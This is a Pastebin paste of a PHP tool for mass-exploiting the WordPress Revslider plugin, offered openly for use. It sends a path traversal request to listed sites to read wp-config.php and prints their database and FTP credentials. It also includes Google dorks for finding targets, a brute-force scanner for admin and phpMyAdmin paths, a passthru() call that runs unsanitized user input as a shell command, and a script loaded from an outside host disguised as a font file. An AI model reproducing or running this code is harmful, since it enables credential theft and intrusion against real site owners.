API tools faq
paste
Advertisement
Ribang

Mass Revslider Exl0it1ng

Ribang
Dec 21st, 2017
890
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.47 KB | None | 0 0
raw download clone embed print report
  1. <?
  2. echo"
  3. <body bgcolor='#000000' text='white'>
  4. <title>Mass Revslider Exl0it1ng</title>
  5. <script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
  6. <style>
  7. body,table{background: black; }
  8. A:link {text-decoration: none;color: red;}
  9. A:active {text-decoration: none;color: red;}
  10. A:visited {text-decoration: none;color: red;}
  11. A:hover {text-decoration: underline; color: red;}
  12. #new,input,textarea,table,td,tr,#gg
  13. {
  14. border-style:solid;
  15. text-decoration:bold;
  16. }
  17. input:hover,tr:hover,td:hover,textarea:hover
  18. {
  19. background-color: #FFFFCC;
  20. color:green;
  21. size:10px;
  22. }
  23. </style>
  24. <center><img src='https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSjfAs7Cqc8Gq6GTxefRk9Tt0gcWFS2B1kIgYFBs8H24UuC3UYMoA' height='150' width='150'></img><br>
  25. <!--- Menu -----!--->
  26. <p align='center' dir='ltr'>
  27. <font face='Verdana' size='2' color='#FFFFFF'>#
  28. <a href='?dz=scan' style='text-decoration: none'><font color='#006699'>IP Scanner</font></a> ~
  29. <a href='?dz=exp' style='text-decoration: none'><font color='#006699'>Exploiter</font></a> ~ </font>
  30. <font face='Verdana' size='2' color='#006699'>
  31. <a href='?dz=db' style='text-decoration: none'><font color='#006699'>Find DB Panel</font></a><font face='Verdana' size='2' color='#FFFFFF'> ~ </font>
  32. <font face='Verdana' size='2' color='#006699'>
  33. <a href='?dz=dorks' style='text-decoration: none'><font color='#006699'>Exploit Dorks</font></a></font>
  34.  
  35.  
  36.  
  37. <font face='Verdana' size='2' color='#FFFFFF'> ~ </font>
  38. <font face='Verdana' size='2' color='#006699'>
  39. <a href='?dz=toip' style='text-decoration: none'><font color='#006699'>Domains 2 IP</font></a></font>
  40.  
  41.  
  42.  
  43. <font face='Verdana' size='2' color='#FFFFFF'> # </font>
  44. <br><br>
  45. ";
  46.  
  47.  
  48. /////////////////////////////////
  49. if ($_GET['dz'] == 'exp') {
  50. echo"<form method='post'>
  51. <textarea name='sites' cols='50' rows='12'></textarea><br>
  52. <input type='submit' name='go' value='Exploit'>
  53. </form>";
  54. function findit($mytext,$starttag,$endtag) {
  55. $posLeft = stripos($mytext,$starttag)+strlen($starttag);
  56. $posRight = stripos($mytext,$endtag,$posLeft+1);
  57. return substr($mytext,$posLeft,$posRight-$posLeft);
  58. }
  59. error_reporting(0);
  60. set_time_limit(0);
  61. $ya=$_POST['go'];
  62. $co=$_POST['sites'];
  63.  
  64. if($ya){
  65. $e=explode("\r\n",$co);
  66. foreach($e as $bda){
  67. //echo '<br>'.$bda;
  68. /// you can devlope the tool ///
  69. $linkof='/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php';
  70. $dn=($bda).($linkof);
  71. $file=@file_get_contents($dn);
  72. if(eregi('DB_HOST',$file) and !eregi('FTP_USER',$file) ){
  73. echo"<center><font color=green face=Verdana size=-2>Infected ! </font></center>";
  74. echo "<center><font face=Verdana size=-2 color='#00BFFF' >".$bda."</font></center>";
  75. echo "<font face=Verdana size=-2 color=lime >DB name : </font>".findit($file,"DB_NAME', '","');")."<br>";
  76. echo "<font face=Verdana size=-2 color=lime >DB user : </font>".findit($file,"DB_USER', '","');")."<br>";
  77. echo "<font face=Verdana size=-2 color=lime >DB pass : </font>".findit($file,"DB_PASSWORD', '","');")."<br>";
  78. echo "<font face=Verdana size=-2 color=lime >DB host : </font>".findit($file,"DB_HOST', '","');")."<br>";
  79. }
  80. elseif(eregi('DB_HOST',$file) and eregi('FTP_USER',$file)){
  81. echo'<center><font color=silver face=Verdana size=2>----------------------------------------------</font></center>';
  82. echo"<center><font color=green face=Verdana size=-2>Infected ! </font></center>";
  83. echo "<center><font face=Verdana size=-2 color='#00BFFF' >".$bda."</font></center>";
  84. echo "<font face=Verdana size=-2 color=lime >FTP user : </font>".findit($file,"FTP_USER','","');")."<br>";
  85. echo "<font face=Verdana size=-2 color=lime >FTP pass : </font>".findit($file,"FTP_PASS','","');")."<br>";
  86. echo "<font face=Verdana size=-2 color=lime >FTP host : </font>".findit($file,"FTP_HOST','","');")."<br>";
  87. }
  88. else{
  89. echo'<center><font color=silver face=Verdana size=2>----------------------------------------------</font></center>';
  90. echo "<center><font color=yellow face=Verdana size=-2>".$bda."</font><font color=white face=Verdana size=-2> ==> </font><font color=red face=Verdana size=-2>Not Infected ! </font></center>";}
  91. echo'<center><font color=silver face=Verdana size=2>----------------------------------------------</font></center>';
  92. }
  93.  
  94. }
  95. }
  96. /////////////////////////////////////
  97.  
  98. /////////////////////////////////////
  99. if ($_GET['dz'] == 'dorks') {
  100. echo'<br><textarea cols=50 rows=12 >
  101. inurl:wp-content/plugins/revslider/
  102. inurl:revslider
  103. inurl:revslider_admin.php
  104. inurl:revslider_front.php
  105. inurl:plugins/revslider/
  106. intext:Powered by Revslider
  107. intitle:"Index Of/ revslider"
  108. intitle:"Index Of/wp-content/themes/revslider"
  109. intitle:"Index Of/wp-content/plugins/revslider"
  110. intitle:"Index Of/admin/revslider"
  111. intitle:"Index Of/fr/revslider"
  112. intitle:"Index Of/en/revslider"
  113. intitle:"Index Of/us/revslider"
  114. intitle:"Index Of/ar/revslider"
  115. intitle:"Index Of/es/revslider"
  116. intitle:"Index Of/de/revslider"
  117. </textarea>';
  118.  
  119. }
  120. //////////////////////////////////////
  121.  
  122. //////////////////////////////////////
  123. if ($_GET['dz'] == 'toip') {
  124. echo"
  125. <form method='post' ><center>
  126. <textarea cols='50' rows='12' name='site2ip' >www.example.com
  127. Please Romove http:// or https://</textarea></br><br>
  128. <input type='submit' name='w2ip' value='Extract' ><br>
  129. </center>";
  130. if(isset($_POST['site2ip'])){
  131. foreach(explode("\n",$_POST['site2ip']) as $site4ip){
  132. $ipp=trim($site4ip);
  133. echo '<font color="red" size="3"></font><font color="green" size="5"><center>
  134. <font color="Blue" size="3"</font><font color=Green face=Verdana size=-2>'.$ipp.'</font>
  135. <font color=white face=Verdana size=-2> ==> </font> <font color=Green face=Verdana size=-2>'.gethostbyname ($ipp).'</font></center></font>';
  136. }
  137. }
  138. }
  139. ////////////////////////////////////
  140.  
  141. ////////////////////////////////////
  142. if ($_GET['dz'] == 'db') {
  143.  
  144.  
  145. echo'
  146. <form action ="" method="post">
  147. <font face=Verdana size=-2 color=wgite >URL : <input type ="text" name="site"/>
  148. <input type = "submit" value="Find" />
  149. </form>';
  150. if ($_POST['site']){
  151. $site = $_POST['site'];
  152. passthru($site);
  153. }
  154. $list = array(
  155. '/phpMyAdmin/',
  156. '/phpmyadmin/',
  157. '/PMA/',
  158. '/pma/',
  159. '/admin/',
  160. '/dbadmin/',
  161. '/DB_ADMIN/',
  162. '/db_admin/',
  163. '/DBA/',
  164. '/SQLI/',
  165. '/dba/',
  166. '/sqli/',
  167. '/mysql/',
  168. '/myadmin/',
  169. '/phpmyadmin2/',
  170. '/phpMyAdmin2/',
  171. '/phpMyAdmin-2/',
  172. '/php-my-admin/',
  173. '/phpMyAdmin-2.2.3/',
  174. '/phpMyAdmin-2.2.6/',
  175. '/phpMyAdmin-2.5.1/',
  176. '/phpMyAdmin-2.5.4/',
  177. '/phpMyAdmin-2.5.5-rc1/',
  178. '/phpMyAdmin-2.5.5-rc2/',
  179. '/phpMyAdmin-2.5.5/',
  180. '/phpMyAdmin-2.5.5-pl1/',
  181. '/phpMyAdmin-2.5.6-rc1/',
  182. '/phpMyAdmin-2.5.6-rc2/',
  183. '/phpMyAdmin-2.5.6/',
  184. '/phpMyAdmin-2.5.7/',
  185. '/phpMyAdmin-2.5.7-pl1/',
  186. '/phpMyAdmin-2.6.0-alpha/',
  187. '/phpMyAdmin-2.6.0-alpha2/',
  188. '/phpMyAdmin-2.6.0-beta1/',
  189. '/phpMyAdmin-2.6.0-beta2/',
  190. '/phpMyAdmin-2.6.0-rc1/',
  191. '/phpMyAdmin-2.6.0-rc2/',
  192. '/phpMyAdmin-2.6.0-rc3/',
  193. '/phpMyAdmin-2.6.0/',
  194. '/phpMyAdmin-2.6.0-pl1/',
  195. '/phpMyAdmin-2.6.0-pl2/',
  196. '/phpMyAdmin-2.6.0-pl3/',
  197. '/phpMyAdmin-2.6.1-rc1/',
  198. '/phpMyAdmin-2.6.1-rc2/',
  199. '/phpMyAdmin-2.6.1/',
  200. '/phpMyAdmin-2.6.1-pl1/',
  201. '/phpMyAdmin-2.6.1-pl2/',
  202. '/phpMyAdmin-2.6.1-pl3/',
  203. '/phpMyAdmin-2.6.2-rc1/',
  204. '/phpMyAdmin-2.6.2-beta1/',
  205. '/phpMyAdmin-2.6.2-rc1/',
  206. '/phpMyAdmin-2.6.2/',
  207. '/phpMyAdmin-2.6.2-pl1/',
  208. '/phpMyAdmin-2.6.3/',
  209. '/phpMyAdmin-2.6.3-rc1/',
  210. '/phpMyAdmin-2.6.3/',
  211. '/phpMyAdmin-2.6.3-pl1/',
  212. '/phpMyAdmin-2.6.4-rc1/',
  213. '/phpMyAdmin-2.6.4-pl1/',
  214. '/phpMyAdmin-2.6.4-pl2/',
  215. '/phpMyAdmin-2.6.4-pl3/',
  216. '/phpMyAdmin-2.6.4-pl4/',
  217. '/phpMyAdmin-2.6.4/',
  218. '/phpMyAdmin-2.7.0-beta1/',
  219. '/phpMyAdmin-2.7.0-rc1/',
  220. '/phpMyAdmin-2.7.0-pl1/',
  221. '/phpMyAdmin-2.7.0-pl2/',
  222. '/phpMyAdmin-2.7.0/',
  223. '/phpMyAdmin-2.8.0-beta1/',
  224. '/phpMyAdmin-2.8.0-rc1/',
  225. '/phpMyAdmin-2.8.0-rc2/',
  226. '/phpMyAdmin-2.8.0/',
  227. '/phpMyAdmin-2.8.0.1/',
  228. '/phpMyAdmin-2.8.0.2/',
  229. '/phpMyAdmin-2.8.0.3/',
  230. '/phpMyAdmin-2.8.0.4/',
  231. '/phpMyAdmin-2.8.1-rc1/',
  232. '/phpMyAdmin-2.8.1/',
  233. '/phpMyAdmin-2.8.2/',
  234. '/sqlmanager/',
  235. '/mysqlmanager/',
  236. '/p/m/a/',
  237. '/PMA2005/',
  238. '/pma2005/',
  239. '/dev/',
  240. '/phpmanager/',
  241. '/php-myadmin/',
  242. '/phpmy-admin/',
  243. '/webadmin/',
  244. '/sqlweb/',
  245. '/websql/',
  246. '/webdb/',
  247. '/mysqladmin/',
  248. '/mysql-admin/',
  249. '/mya/',
  250. '/PhpMyAdmin/',
  251. '/phpmyadmin/',
  252. '/myadmin/',
  253. '/mysql/',
  254. '/sql/',
  255. '/server/',
  256. '/db/',
  257. '/database/',
  258. '/databases/',
  259. '/adm/',
  260. '/configuration/',
  261. '/configure/',
  262. '/administrator/',
  263. '/login/',
  264. '/moderator/',
  265. '/controlpanel/',
  266. '/adminpanel/',
  267. '/admincontrol/',
  268. '/fileadmin/',
  269. '/data/',
  270. '/postgresql/',
  271. '/oracle/',
  272. '/msssql/',
  273. '/msaccess/',
  274. '/sysadmin/',
  275. '/serverdata/',
  276. '/webadmin/',
  277. '/admins/',
  278. '/Database_Administration/',
  279. '/WebAdmin/',
  280. '/useradmin/',
  281. '/sysadmins/',
  282. '/admin1/',
  283. '/system-administration/',
  284. '/administrators/',
  285. '/pgadmin/',
  286. '/directadmin/',
  287. '/staradmin/',
  288. '/ServerAdministrator/',
  289. '/SysAdmin/',
  290. '/administer/',
  291. '/LiveUser_Admin/',
  292. '/sys-admin/',
  293. '/typo3/',
  294. '/panel/',
  295. '/xlogin/',
  296. '/smblogin/',
  297. '/phpldapadmin/',
  298. '/server_admin/',
  299. '/database_administration/',
  300. '/system_administration/',
  301. '/ss_vms_admin_sm/',
  302. '/adminarea/',
  303. '/MySQL/',
  304. '/mysql_admin/',
  305. '/server_data/',
  306. '/DB/',
  307. '/DB1/',
  308. '/DB2/',
  309. '/DB3/',
  310. '/DB4/',
  311. '/DB5/',
  312. '/DB6/',
  313. '/DB7/',
  314. '/DB8/',
  315. '/DB9/',
  316. '/DB0/',
  317. '/db1/',
  318. '/db2/',
  319. '/db3/',
  320. '/db4/',
  321. '/db5/',
  322. '/db6/',
  323. '/db7/',
  324. '/db8/',
  325. '/db9/',
  326. '/db0/',
  327. '/mysql5/',
  328. '/mysql4/',
  329. '/root/',
  330. '/apache/',
  331. '/php/',
  332. '/Apache/',
  333. '/Php/',
  334. '/apach/',
  335. '/apachepanel/',
  336. '/WEBSERVERS/',
  337. '/DATABASE1/',
  338. '/DATABASE2/',
  339. '/DATABASE3/',
  340. '/DATABASE4/',
  341. '/DATABASE5/',
  342. '/DATABASE6/',
  343. '/DATABASE7/',
  344. '/DATABASE8/',
  345. '/DATABASE9/',
  346. '/WEBDATA/',
  347. '/WEB_DATA/',
  348. '/webservers/',
  349. '/database1/',
  350. '/database2/',
  351. '/database3/',
  352. '/database4/',
  353. '/database5/',
  354. '/database6/',
  355. '/database7/',
  356. '/database8/',
  357. '/database9/',
  358. '/webdata/',
  359. '/web_data/',
  360. );
  361.  
  362. if(isset($site)){
  363.  
  364. foreach($list as $path => $test) {
  365. $ch = curl_init();
  366. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  367. curl_setopt($ch, CURLOPT_HEADER, 1);
  368. curl_setopt($ch, CURLOPT_URL, $site.$test);
  369. $result = curl_exec($ch);
  370. curl_close($ch);
  371. //print $url;
  372. if (preg_match("/200 OK/", $result)){
  373. echo "<br /><b><font face=Verdana size=-2 color=green >[+]</font><font face=Verdana size=-2 color=silver > Found ==> </font><font face=Verdana size=-2 color=orange ><a>[ $site$test ]</A></font></b>";
  374. }
  375. else if (preg_match("/401 Unauthorized/", $result)) {
  376. echo "<br /><b><font face=Verdana size=-2 color=yellow >[!]</font><font face=Verdana size=-2 color=silver > Found ==> </font><font face=Verdana size=-2 color=orange ><a>[ $site$test ]</A></font><a>[ $site$test ]</A></font></b>";
  377. echo "<br /><b><font face=Verdana size=-2 color=red >[-]</font><font face=Verdana size=-2 color=silver > Nothing found on </font><font face=Verdana size=-2 color=orange ><a>[ $site$test ]</A></font><a>[$site$test]</a></font>";
  378. }
  379. }
  380. echo "<br><b><u><font face=Verdana size=-2 color=#513912 >Scan Finished !</font></u></b>";
  381. }
  382.  
  383.  
  384. }
  385. ////////////////////////////////////
  386.  
  387.  
  388.  
  389.  
  390.  
  391. if ($_GET['dz'] == 'scan') {
  392.  
  393. echo "<br><b><u><font face=Verdana size=-2 color=#513912 >You can Devlope the Wp IP Scanner or start you idea here and send to <a href=http://dz-amir@hotmail.com >dz-amir@hotmail.com </a> ....</font></u></b>";
  394. }
  395.  
  396.  
  397.  
  398.  
  399. ?>
  400.  
  401.  
  402.  
  403. <center>
  404. <code style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center; border-top: 0px solid #FF3300; border-bottom: 1px solid #FF3300">
  405. <font color=#FF3300 size=1 face="Tahoma">Mass Revslider Plugin Exl0it1ng v1<font><font color=white size=1 face="Tahoma"> -</font><font color=gren size=1 face="Tahoma"> By AMir dZ 52</font></code>
  406. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!